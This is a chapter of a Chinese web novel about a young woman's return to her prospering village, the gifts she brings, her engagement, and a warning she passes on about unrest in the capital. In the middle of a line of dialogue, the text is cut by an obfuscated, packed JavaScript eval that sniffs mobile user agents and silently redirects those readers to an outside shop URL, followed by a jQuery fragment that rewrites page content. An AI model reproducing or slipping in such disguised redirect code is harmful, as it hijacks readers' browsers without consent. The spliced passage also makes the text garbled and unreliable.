长乐村,又是一个秋。
如今的长乐村已经和之前完全不同,大多数村民都不再投身到田地中,而是去工坊上工。
也正因如此,带动了周边村子的经济收入,他们在长乐村种地,能赚钱,种自家的地也能赚钱。
镇上、县里甚至其他地方的人听说后,还会来这里看看,看看到底是否如传言中那样,而当他们亲眼见过后,回去又会形成免费宣传。
自从林禾容离开后,又有不少商人来下订单,现在的工坊和暖棚,实在是忙得不可开交。
里正出门,腰杆都不自觉地直了很多。
而整个村子里,最数林继业家的房屋显眼。
大家虽然挣了钱,但还舍不得花在建造房屋上面,都想着要存起来,以备不时之需。
所以,外来人一眼就能看到林家的大瓦房。
林禾容与江年回到长乐村时,刚过巳时。
阳光正好,秋风轻轻拂过。
田里都是收庄稼的身影,能看到的脸上都充满了笑意,只因今年收成实在是好,尤其是在对比过去年之后。
二人下马,在村子里慢慢走着。
明明没出去多久,却感觉这里熟悉又陌生。
大人们都在地里,路上只有跑腿的小孩。
远远看到两个人牵着马,他们也不觉得是什么大事,直直地路过。
直到擦肩而过,才有人认出他们。
“容姐姐?”
“是容姐姐和江年哥回来了!”
稚嫩的童声瞬间传遍全村。
大家都放下手里的活,跑来迎接二人。
林禾容看着越来越多的人群,瞬间湿了眼眶。
曾几何时,自己还是痴傻模样,虽然大家偶尔说几句闲话,但从未有人真正欺负她。
如今站在这里,看着大家真心的笑容,林禾容感慨万千。
人群外,响起了林禾宁的声音,“姐!”
大家自觉地让开路,林家人齐齐整整地站到了林禾容面前。
李兰颤抖着双手,紧紧握着女儿的双臂,“瘦了。”
林继业在一旁抿抿嘴,哽咽到说不出话。
哥哥嫂子,还有两个小外甥都来了,他们同样眼含热泪。
而怀里的林禾宁,早已用泪水打湿了姐姐的衣衫。
旁边江福德父子围着江年嘘寒问暖,直到确认他平安,二人才彻底放心。
看着村民们的精神面貌焕然一新,林禾容打心里高兴,自己的努力没白费。
在大家的簇拥下,二人终于回了家。
再次踏进家门,林禾容放松地躺在了躺椅上,这是苏掌柜给的灵感。
“哦对了,这些都是我从京都带回来的礼物,快过来拿。”
一家连大带小,一共九口人,人人都有礼物。
“娘和大嫂,给你们买了一些香膏、好看的布,还有金簪子。”
“爹,这是新的烟袋和烟丝,但你还是要少抽些,不然以后都给你没收!”
“大哥,这是几身耐磨的衣裳,你平时穿,这几身是好看的,出门穿。这些新奇的药材,是专门给二哥的,你好好研究研究。三哥,这是一套打铁的器具,掌柜的说这些硬度好,应该挺耐用的。”
“哦,还有一些京都公子哥爱买的一些小玩意儿,我买了一些,你们分分啊。”
“宁宁,这些都是京都学子们看的书,你保存好,不懂就请教毛夫子,这两套文房四宝记得拿一套给夫子送去,是咱家的一点心意。”
“这堆头花都是适合小女孩的,你看着戴。”
“还有两个小家伙,一人一个平安锁。”
“剩下的就是些零嘴,你们分着吃。”
一阵翻腾后,林禾容才把礼物分完。
“诶呦,剩下的是给宝珠她们的,休息休息下午再去送吧,这一路真累……”
话还没说完,门外就响起了林宝珠嘹亮的声音,“林禾容你回来了!”
林禾容无奈一笑,休息不成咯。
林宝珠像一阵风,瞬间到了林禾容面前,“我看看,出去这么久没受伤吧,我一听说你回来立马从识字班跑过来了。”
“诶呦,你这一去可真久,我都快想死你了!”
面对好友窒息的思念,林禾容拍了拍她的后背,“松开些,不然路上没受伤,现在快要被你勒死了。”
闻言,林宝珠尴尬地放手。
二人还没说话,林冬花与周瑶也进了屋,林禾容又面对一通关心。
好不容易坐下,林禾容默默松了口气。
“你们来的正好,这几包都是给你们的,里面大多是京都时兴的香膏、首饰之类,还有一些小玩意,你们别嫌少,路途远,太多的带不回来。”
三人打开自己的小包裹,里面琳琅满目的礼物,一看就找到林禾容的用心。
“怎么就嫌少了呢?”
“是啊,我们是来关心你身体的。”
“这次出去怎么样,不是在定州吗,怎么就又跑到京都了呢?”
几人很久不见,自然有说不完的话。
“啥,什么时候死的?”
林禾容差点从凳子上掉下来,因为对面的林冬花,一脸平静地说出了丈夫的死亡。
不过冷静下来后,林禾容也瞬间想通,几个月前走到时候,赵秀才就已经不太行了,加上老道上身一折腾,肯定命不久矣。
只不过在她印象中,赵秀才是个活生生的人,两人间有龃龉是真的,但林禾容也从未想过置他于死地。
猛然听到人没了,一时难以接受。
反观林冬花,情绪倒还好。
如今没了丈夫的打压,每天在工坊呆着,林禾容瞧着她,反而气色更好了。
说来说去,这夫妻二人的事,林禾容不好掺和,一切都是顺其自然。
而周瑶明显藏着少女心事,林禾容眼神揶揄,一想到自己三哥会抱得美人归,她就止不住开心。
周瑶被盯得气恼,一巴掌拍在了林禾容腿上,“你这丫头,看什么看?”
林禾容捂着嘴偷笑,“没什么,看你好看不行啊。”
一旁的林宝珠也知道这事,跟着笑了出来。
一时间,屋子里笑做一团。
没一会儿,话题又回到了林禾容身上。
此次出行,对外宣称是谈生意,可自从知道郑老板的真实身份后,林禾容便已经放弃了这桩买卖。
幸好在京都时,她遇到了另一个果蔬商,对方很痛快便答应了合作。
“咱村的暖棚,不仅能种药,也能种菜,我这次带回了不少种子,等明天我就送去,实验成功后,就再建几个暖棚。”
“这样不仅够咱们自己吃,也能卖出去成为一笔收入。”
林冬花扬起嘴角,“谁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17705019|203753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
问你这个了?我们是问,你和江年那小子的事。”
闻言,林禾容低头浅笑。
“我们啊……”
“我答应他了。”
面对林禾容的直白,几人愣了一瞬,随即都笑了出来,“好啊你,出去一趟,世面见了、生意谈了,连男人也定了。”
“就是,当初你不是说对他没兴趣吗,怎么回事,这一路你们经历了什么?快给我们讲讲。”
林禾容无奈,“讲什么啊,我又不是说书先生。”
“其实,我只是情绪来的迟了些,我们之前在这件事上没有同频而已,现在同步了,就自然而然地在一起咯。”
林禾容说的轻巧,几人笑得开怀。
好友觅得良缘,她们衷心祝福。
林禾容岔开话题,看向林宝珠,“别说我了,你最近怎么样啊,信里你说你很好,怎么个好法?”
见三人的目光看向自己,林宝珠昂起头,“请叫我宝珠教头!”
林禾容没忍住笑了出来,随即收到林宝珠幽怨的眼神。
林冬花轻笑,“她说的倒也没问题,跟着胡公子学武艺,她一点也不怠慢,抽空去趟识字班,剩余时间都在习武。”
“如今她可是全村武力最高的了。”
听着林冬花的夸赞,林宝珠叉着腰,“你看吧,群众的眼睛是雪亮的!”
她们聊了许久,直到夕阳昏黄,三人才依依不舍地离开。
此时的林禾容也没了睡意,趁着天没黑,她出门要去里正家。
带了一小包特产,林禾容踏进里正家门。
林翠花见了,赶紧擦了擦手,拉着她进了屋。
夫妻二人细细询问,林禾容知道他们是在关心,便耐心地一一作答。
转头看了眼门外,林禾容压低声音道:“里正伯伯,我在京都听闻一事,还是要说与你听。”
林翠花闻言,立马起身关上了门窗。
“我们离开时,京都已经戒严,看样子此次事态严重。”
“咱们村离京都远,离边疆更远,但我还是不放心,就想着您能跟大家提提安全问题,多注意点总没错。”
“当然了,此事只有京都知道,咱们也别太大张旗鼓了,否则被上头注意到,也不好。”
里正慢慢消化,才长长舒出一口气。
多少年来,长乐村都是关起门来过日子。
朝廷发生什么了、哪个皇子继位了、哪个官员被罢免了,和他们都没有关系,他们种好自己的地、填饱肚子才是正事。
可按照林禾容说的,这次的事应该关系到整个安国,那就得重视起来了。
里正抬头,“这事我知道了,天不早了你快回家吧,多休息会儿,明天我会召集大家说这个的,你如果累了就不用过来,在家睡会儿。”
林禾容笑着点头,“我会早点起床的。”
等她回到家,晚饭已经就绪。
饭桌上,林禾容也把此事告诉了家人,“反正最近这段时间,都注意点,如果发现什么不对劲的,及时告诉我。”
“哦对了,还有一件事。”
“这段时间以来,江年一直在我身边,他的照顾和情意我都看在眼里,要说不动心,那是假的。”
“我已经答应他了,他也说会尽快让江叔来提亲,咱家也要做点准备吧。”
说完,林禾容观察着家人的反应。